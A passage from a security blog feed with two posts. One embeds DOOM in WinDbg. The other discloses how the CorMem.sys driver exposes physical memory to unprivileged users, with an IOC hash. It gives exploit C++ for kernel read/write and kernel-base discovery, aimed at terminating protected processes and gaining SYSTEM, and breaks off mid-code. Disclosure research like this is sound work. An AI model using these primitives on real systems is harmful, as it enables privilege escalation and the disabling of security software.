<p>Thanks to <a href="https://khaelkugler.com">Khael</a> for help investigating similar campaigns early on, and for dumping the Telegram content.</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Playing DOOM inside WinDbg</title><link href="/windbg-doom" rel="alternate" type="text/html" title="Playing DOOM inside WinDbg" /><published>2026-04-26T00:00:00+00:00</published><updated>2026-04-26T00:00:00+00:00</updated><id>/windbg-doom</id><content type="html" xml:base="/windbg-doom"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/windbg-doom/doom.png" alt="Doom" /></p>

<ul>
  <li><a href="#what">What?</a></li>
  <li><a href="#how">How?</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="what">What?</h2>

<p>For anyone that has used WinDbg, you might have found yourself automating tedious analysis tasks through scripts written in JavaScript, or compiled extensions, like <a href="https://github.com/eversinc33/drvtrace">drvtrace</a> from <a href="https://github.com/eversinc33">eversinc33</a> for example. While reading guides on writing extensions, I came across this <a href="https://minidump.net/writing-native-windbg-extensions-in-c-5390726f3cec">post</a> by <a href="https://github.com/kevingosse">Kevin Gosse</a> on writing WinDbg extensions in C# and building them using NativeAOT so they can be loaded in WinDbg, and what better first extension to build than a playable version of DOOM?</p>

<h2 id="how">How?</h2>

<p>Under the hood, the extension uses <a href="https://github.com/sinshu/managed-doom">Managed Doom</a> by <a href="https://github.com/sinshu">Nobuaki Tanaka</a> for all gameplay logic, including loading the DOOM IWAD, running the actual game, and producing each rendered frame, with the only exception being audio, which is completely disabled.</p>

<p>The extension handles everything between Managed Doom and WinDbg, such as the initialization logic so WinDbg can actually load it, handling commands and passing control to the main game loop, frame conversion to text, and forwarding user inputs to the game to make it “playable”.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="nf">UnmanagedCallersOnly</span><span class="p">(</span><span class="n">EntryPoint</span> <span class="p">=</span> <span class="s">"doom"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">Doom</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">client</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">argsPtr</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">try</span>
    <span class="p">{</span>
        <span class="k">using</span> <span class="nn">var</span> <span class="n">output</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">DbgEngOutput</span><span class="p">(</span><span class="n">client</span><span class="p">);</span>
        <span class="kt">string</span> <span class="n">args</span> <span class="p">=</span> <span class="n">Marshal</span><span class="p">.</span><span class="nf">PtrToStringAnsi</span><span class="p">(</span><span class="n">argsPtr</span><span class="p">)</span> <span class="p">??</span> <span class="kt">string</span><span class="p">.</span><span class="n">Empty</span><span class="p">;</span>
        <span class="n">args</span> <span class="p">=</span> <span class="n">args</span><span class="p">.</span><span class="nf">Trim</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"?"</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"/?"</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"-?"</span> <span class="p">||</span> <span class="n">args</span> <span class="p">==</span> <span class="s">"help"</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="nf">PrintHelp</span><span class="p">(</span><span class="n">output</span><span class="p">);</span>
            <span class="k">return</span> <span class="m">0</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">DoomHost</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">output</span><span class="p">);</span>
        <span class="k">return</span> <span class="m">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">catch</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="m">1</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Frames from Managed Doom are converted into text by outputting the frame into a 640x400 RGBA buffer, binning the pixels into a smaller grid based on the selected resolution (default is 160x50, I use 240x75), averaging the brightness of each character cell, and mapping it to a character from the following selection <code class="language-plaintext highlighter-rouge">.'`,:;-+*#%@&amp;$</code>. Finally, each converted frame is outputted to the command window as text.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">row</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">row</span> <span class="p">&lt;</span> <span class="n">_charsH</span><span class="p">;</span> <span class="n">row</span><span class="p">++)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">yStart</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">row</span> <span class="p">*</span> <span class="n">_srcH</span> <span class="p">/</span> <span class="n">_charsH</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">yEnd</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)(</span><span class="n">row</span> <span class="p">+</span> <span class="m">1</span><span class="p">)</span> <span class="p">*</span> <span class="n">_srcH</span> <span class="p">/</span> <span class="n">_charsH</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">yEnd</span> <span class="p">&lt;=</span> <span class="n">yStart</span><span class="p">)</span> <span class="n">yEnd</span> <span class="p">=</span> <span class="n">yStart</span> <span class="p">+</span> <span class="m">1</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">col</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">col</span> <span class="p">&lt;</span> <span class="n">_charsW</span><span class="p">;</span> <span class="n">col</span><span class="p">++)</span>
    <span class="p">{</span>
        <span class="kt">int</span> <span class="n">xStart</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">col</span> <span class="p">*</span> <span class="n">_srcW</span> <span class="p">/</span> <span class="n">_charsW</span><span class="p">);</span>
        <span class="kt">int</span> <span class="n">xEnd</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)(</span><span class="n">col</span> <span class="p">+</span> <span class="m">1</span><span class="p">)</span> <span class="p">*</span> <span class="n">_srcW</span> <span class="p">/</span> <span class="n">_charsW</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">xEnd</span> <span class="p">&lt;=</span> <span class="n">xStart</span><span class="p">)</span> <span class="n">xEnd</span> <span class="p">=</span> <span class="n">xStart</span> <span class="p">+</span> <span class="m">1</span><span class="p">;</span>

        <span class="kt">int</span> <span class="n">sum</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">count</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">x</span> <span class="p">=</span> <span class="n">xStart</span><span class="p">;</span> <span class="n">x</span> <span class="p">&lt;</span> <span class="n">xEnd</span><span class="p">;</span> <span class="n">x</span><span class="p">++)</span>
        <span class="p">{</span>
            <span class="kt">int</span> <span class="n">colBase</span> <span class="p">=</span> <span class="n">x</span> <span class="p">*</span> <span class="n">_srcH</span> <span class="p">*</span> <span class="m">4</span><span class="p">;</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">y</span> <span class="p">=</span> <span class="n">yStart</span><span class="p">;</span> <span class="n">y</span> <span class="p">&lt;</span> <span class="n">yEnd</span><span class="p">;</span> <span class="n">y</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="kt">int</span> <span class="n">p</span> <span class="p">=</span> <span class="n">colBase</span> <span class="p">+</span> <span class="n">y</span> <span class="p">*</span> <span class="m">4</span><span class="p">;</span>
                <span class="n">sum</span> <span class="p">+=</span> <span class="n">source</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="p">+</span> <span class="n">source</span><span class="p">[</span><span class="n">p</span> <span class="p">+</span> <span class="m">1</span><span class="p">]</span> <span class="p">+</span> <span class="n">source</span><span class="p">[</span><span class="n">p</span> <span class="p">+</span> <span class="m">2</span><span class="p">];</span>
                <span class="n">count</span><span class="p">++;</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="kt">int</span> <span class="n">idx</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">sum</span> <span class="p">*</span> <span class="n">rampLen</span> <span class="p">/</span> <span class="p">(</span><span class="n">count</span> <span class="p">*</span> <span class="m">3</span> <span class="p">*</span> <span class="m">256</span><span class="p">));</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="p">&gt;</span> <span class="n">rampLast</span><span class="p">)</span> <span class="n">idx</span> <span class="p">=</span> <span class="n">rampLast</span><span class="p">;</span>
        <span class="n">_sb</span><span class="p">.</span><span class="nf">Append</span><span class="p">(</span><span class="n">Ramp</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="n">_sb</span><span class="p">.</span><span class="nf">Append</span><span class="p">(</span><span class="sc">'\n'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>User inputs are captured each tick and pressed keys are tracked using <code class="language-plaintext highlighter-rouge">GetAsyncKeyState</code>, which are then converted to game key codes. Input is only forwarded to the game when WinDbg or one of its close relatives is the active focused window.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="n">List</span><span class="p">&lt;</span><span class="n">DoomEvent</span><span class="p">&gt;</span> <span class="nf">Poll</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">Array</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">_curr</span><span class="p">,</span> <span class="n">_prev</span><span class="p">,</span> <span class="n">_curr</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
    <span class="n">Array</span><span class="p">.</span><span class="nf">Clear</span><span class="p">(</span><span class="n">_curr</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">_curr</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="nf">ShouldAcceptInput</span><span class="p">())</span>
    <span class="p">{</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">vk</span> <span class="p">=</span> <span class="m">1</span><span class="p">;</span> <span class="n">vk</span> <span class="p">&lt;</span> <span class="m">256</span><span class="p">;</span> <span class="n">vk</span><span class="p">++)</span>
        <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">vk</span> <span class="p">==</span> <span class="m">0x10</span> <span class="p">||</span> <span class="n">vk</span> <span class="p">==</span> <span class="m">0x11</span> <span class="p">||</span> <span class="n">vk</span> <span class="p">==</span> <span class="m">0x12</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
            <span class="kt">short</span> <span class="n">s</span> <span class="p">=</span> <span class="nf">GetAsyncKeyState</span><span class="p">(</span><span class="n">vk</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">((</span><span class="n">s</span> <span class="p">&amp;</span> <span class="m">0x8000</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>

            <span class="n">DoomKey</span> <span class="n">k</span> <span class="p">=</span> <span class="n">DoomKeyMap</span><span class="p">.</span><span class="nf">FromVk</span><span class="p">(</span><span class="n">vk</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">k</span> <span class="p">!=</span> <span class="n">DoomKey</span><span class="p">.</span><span class="n">Unknown</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">_curr</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">k</span><span class="p">]</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="kt">var</span> <span class="n">edges</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p">&lt;</span><span class="n">DoomEvent</span><span class="p">&gt;();</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">_curr</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">_curr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">!=</span> <span class="n">_prev</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
        <span class="p">{</span>
            <span class="n">edges</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="k">new</span> <span class="nf">DoomEvent</span><span class="p">(</span>
                <span class="n">_curr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">?</span> <span class="n">EventType</span><span class="p">.</span><span class="n">KeyDown</span> <span class="p">:</span> <span class="n">EventType</span><span class="p">.</span><span class="n">KeyUp</span><span class="p">,</span> <span class="p">(</span><span class="n">DoomKey</span><span class="p">)</span><span class="n">i</span><span class="p">));</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">edges</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The project can be found here: <a href="https://github.com/t0asts/windbg-doom">https://github.com/t0asts/windbg-doom</a><br />
A video showing gameplay can be found here: <a href="https://www.youtube.com/watch?v=lDo061NRSHg">https://www.youtube.com/watch?v=lDo061NRSHg</a></p>

<h2 id="acknowledgment">Acknowledgment</h2>

<p>Feedback and corrections are welcome.</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Weaponizing CorMem.sys to Terminate Protected Processes</title><link href="/cormem" rel="alternate" type="text/html" title="Weaponizing CorMem.sys to Terminate Protected Processes" /><published>2026-04-05T00:00:00+00:00</published><updated>2026-04-05T00:00:00+00:00</updated><id>/cormem</id><content type="html" xml:base="/cormem"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/vdblocklist.png" alt="VDBlocklist" /></p>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#iocs">IOCs</a></li>
  <li><a href="#analysis">Analysis</a></li>
  <li><a href="#exploit">Exploit</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="overview">Overview</h2>

<p>In this post I’m going over my analysis of the Sapera Memory Manager driver “CorMem.sys” from Teledyne Digital Imaging, which exposes physical memory read/write functionality to usermode through IOCTLs that are controllable from an unprivileged context. This allows an unprivileged user to elevate to SYSTEM, or to strip PPL protection from a process and terminate it (also mapping unsigned drivers and much more). Additionally, the driver does load and is abusable on Windows 11 with HVCI and the MS vulnerable driver blocklist enabled.</p>

<p>POC can be found here: <a href="https://github.com/t0asts/cormemterminator">https://github.com/t0asts/cormemterminator</a></p>

<h2 id="iocs">IOCs</h2>

<p><strong>SHA-256:</strong>
<a href="https://www.virustotal.com/gui/file/40c855d20d497823716a08a443dc85846233226985ee653770bc3b245cf2ed0f">40c855d20d497823716a08a443dc85846233226985ee653770bc3b245cf2ed0f</a></p>

<h2 id="analysis">Analysis</h2>

<p>The primary flaw allowing for unprivileged abuse of the driver, is the insecure device object creation. The device is created with no explicit security descriptor (DACL) and the <code class="language-plaintext highlighter-rouge">DeviceCharacteristics</code> parameter set to <code class="language-plaintext highlighter-rouge">NULL</code> rather than something like <code class="language-plaintext highlighter-rouge">FILE_DEVICE_SECURE_OPEN</code>.</p>

<p>Without a restrictive DACL, the device inherits a default security descriptor that grants <code class="language-plaintext highlighter-rouge">GENERIC_READ | GENERIC_WRITE</code> to all authenticated users (including our unprivileged one). Also, without <code class="language-plaintext highlighter-rouge">FILE_DEVICE_SECURE_OPEN</code> in <code class="language-plaintext highlighter-rouge">DeviceCharacteristics</code>, the I/O manager only enforces the device’s security descriptor on opens to the device object itself, opens to all other paths of the device namespace (<code class="language-plaintext highlighter-rouge">\\.\CORMEM\foobar</code>) bypass the check entirely. Combined with the default DACL, any unprivileged user can open a handle and issue IOCTLs.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/devicecreation.png" alt="DeviceCreation" /></p>

<p>The first target IOCTL is <code class="language-plaintext highlighter-rouge">0x22200c</code> (IOCTL_MAP), which calls a handler function that accepts a user supplied physical address and length. These values are then passed to the actual map function.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/maphandler.png" alt="MapHandler" /></p>

<p>The map function opens <code class="language-plaintext highlighter-rouge">\Device\PhysicalMemory</code> via <code class="language-plaintext highlighter-rouge">ZwOpenSection</code> with <code class="language-plaintext highlighter-rouge">SECTION_ALL_ACCESS</code> (<code class="language-plaintext highlighter-rouge">0xF001F</code>), calls <code class="language-plaintext highlighter-rouge">ObReferenceObjectByHandle</code> on the section, maps the requested physical range into the calling process via <code class="language-plaintext highlighter-rouge">ZwMapViewOfSection</code> and returns the mapped virtual address to us in usermode. It should be noted there is NO validation of the requested physical address or length, any physical address range can be mapped.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/mapfunc1.png" alt="MapFunction1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/mapfunc2.png" alt="MapFunction2" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/mapfunc3.png" alt="MapFunction3" /></p>

<p>The second target IOCTL is <code class="language-plaintext highlighter-rouge">0x222010</code> (IOCTL_UNMAP), which as the name implies, allows us to unmap a previously mapped physical memory region. The unmap function accepts a virtual address and calls <code class="language-plaintext highlighter-rouge">ZwUnmapViewOfSection</code>, unmapping the provided region.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/unmapfunc.png" alt="UnmapFunction" /></p>

<p>The third target IOCTL is <code class="language-plaintext highlighter-rouge">0x22201C</code> (IOCTL_V2P), which accepts a kernel virtual address (KVA) from usermode and calls <code class="language-plaintext highlighter-rouge">MmGetPhysicalAddress</code> against it, returning the physical address. Once again, it should be noted there is NO validation that the address belongs to the calling process.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/cormem/virttophysfunc.png" alt="VirtToPhysFunction" /></p>

<p>Between these three IOCTLs we have enough to weaponize it.</p>

<h2 id="exploit">Exploit</h2>

<p>The <a href="https://github.com/t0asts/cormemterminator">POC</a> allows an unprivileged user to terminate protected processes, or elevate to SYSTEM, but how?</p>

<p>First we need to setup some helper functions to simplify the process of translating virtual addresses to physical, and reading &amp; writing physical memory.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">KRead</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">kva</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">physAddr</span> <span class="o">=</span> <span class="n">VirtToPhys</span><span class="p">(</span><span class="n">kva</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">physAddr</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">pageOffset</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">&amp;</span> <span class="mh">0xFFF</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">pageBase</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">-</span> <span class="n">pageOffset</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">mapSize</span> <span class="o">=</span> <span class="p">(</span><span class="n">pageOffset</span> <span class="o">+</span> <span class="n">size</span> <span class="o">+</span> <span class="mh">0xFFF</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xFFFULL</span><span class="p">;</span>

	<span class="n">PVOID</span> <span class="n">mapped</span> <span class="o">=</span> <span class="n">MapPhys</span><span class="p">(</span><span class="n">pageBase</span><span class="p">,</span> <span class="n">mapSize</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mapped</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">memcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">mapped</span> <span class="o">+</span> <span class="n">pageOffset</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
	<span class="n">UnmapPhys</span><span class="p">(</span><span class="n">mapped</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">KWrite</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">kva</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">physAddr</span> <span class="o">=</span> <span class="n">VirtToPhys</span><span class="p">(</span><span class="n">kva</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">physAddr</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">pageOffset</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">&amp;</span> <span class="mh">0xFFF</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">pageBase</span> <span class="o">=</span> <span class="n">physAddr</span> <span class="o">-</span> <span class="n">pageOffset</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">mapSize</span> <span class="o">=</span> <span class="p">(</span><span class="n">pageOffset</span> <span class="o">+</span> <span class="n">size</span> <span class="o">+</span> <span class="mh">0xFFF</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xFFFULL</span><span class="p">;</span>

	<span class="n">PVOID</span> <span class="n">mapped</span> <span class="o">=</span> <span class="n">MapPhys</span><span class="p">(</span><span class="n">pageBase</span><span class="p">,</span> <span class="n">mapSize</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mapped</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">memcpy</span><span class="p">((</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">mapped</span> <span class="o">+</span> <span class="n">pageOffset</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
	<span class="n">UnmapPhys</span><span class="p">(</span><span class="n">mapped</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Next, the base address for <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> must be discovered, since it is randomized by KASLR on boot. This can be done on Windows 10 to pre-24H2 Windows 11 using <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> and the <code class="language-plaintext highlighter-rouge">SystemModuleInformation</code> (11) flag, which returns <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> as the first module.</p>

<p>For Windows 11 versions post-24H2, this won’t work. Instead we can scan the entire kernel image region in 2 MB steps, starting from <code class="language-plaintext highlighter-rouge">0xFFFFF80000000000</code>, and ending at <code class="language-plaintext highlighter-rouge">0xFFFFF80800000000</code>. Each address is tested with <code class="language-plaintext highlighter-rouge">VirtToPhys</code>, where unmapped pages return <code class="language-plaintext highlighter-rouge">0</code>, and the mapped pages we do find can be read with <code class="language-plaintext highlighter-rouge">KRead</code>. Each mapped page we can successfully read is checked for a valid PE header with the following markers to identify <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>:</p>

<ul>
  <li>MZ “magic” signature (<code class="language-plaintext highlighter-rouge">0x5A4D</code>)</li>
  <li>Valid PE signature (<code class="language-plaintext highlighter-rouge">0x00004550</code>)</li>
  <li>PE32+ optional header (<code class="language-plaintext highlighter-rouge">0x20B</code>)</li>
  <li>Native subsystem (<code class="language-plaintext highlighter-rouge">IMAGE_SUBSYSTEM_NATIVE == 1</code>)</li>
  <li>Large image size (<code class="language-plaintext highlighter-rouge">&gt; 0x500000</code>)</li>
</ul>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">GetNtoskrnlBaseQSI</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">auto</span> <span class="n">NtQSI</span> <span class="o">=</span> <span class="p">(</span><span class="n">fnNtQSI</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"ntdll"</span><span class="p">),</span> <span class="s">"NtQuerySystemInformation"</span><span class="p">);</span>

	<span class="n">ULONG</span> <span class="n">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">NtQSI</span><span class="p">(</span><span class="n">SystemModuleInformation</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">length</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">length</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">auto</span><span class="o">*</span> <span class="n">modules</span> <span class="o">=</span> <span class="p">(</span><span class="n">MODULE_LIST</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">length</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">modules</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">NtQSI</span><span class="p">(</span><span class="n">SystemModuleInformation</span><span class="p">,</span> <span class="n">modules</span><span class="p">,</span> <span class="n">length</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">length</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">free</span><span class="p">(</span><span class="n">modules</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">ULONGLONG</span> <span class="n">base</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">modules</span><span class="o">-&gt;</span><span class="n">Modules</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">ImageBase</span><span class="p">;</span>

	<span class="n">free</span><span class="p">(</span><span class="n">modules</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">base</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">GetNtoskrnlBaseVAScan</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">const</span> <span class="n">ULONGLONG</span> <span class="n">VA_START</span> <span class="o">=</span> <span class="mh">0xFFFFF80000000000ULL</span><span class="p">;</span>
	<span class="k">const</span> <span class="n">ULONGLONG</span> <span class="n">VA_END</span> <span class="o">=</span> <span class="mh">0xFFFFF80800000000ULL</span><span class="p">;</span>
	<span class="k">const</span> <span class="n">ULONGLONG</span> <span class="n">STEP</span> <span class="o">=</span> <span class="mh">0x200000</span><span class="p">;</span>

	<span class="k">for</span> <span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">va</span> <span class="o">=</span> <span class="n">VA_START</span><span class="p">;</span> <span class="n">va</span> <span class="o">&lt;</span> <span class="n">VA_END</span><span class="p">;</span> <span class="n">va</span> <span class="o">+=</span> <span class="n">STEP</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">VirtToPhys</span><span class="p">(</span><span class="n">va</span><span class="p">))</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">USHORT</span> <span class="n">magic</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KRead</span><span class="p">(</span><span class="n">va</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">magic</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">||</span> <span class="n">magic</span> <span class="o">!=</span> <span class="mh">0x5A4D</span><span class="p">)</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">BYTE</span> <span class="n">hdr</span><span class="p">[</span><span class="mh">0x200</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>

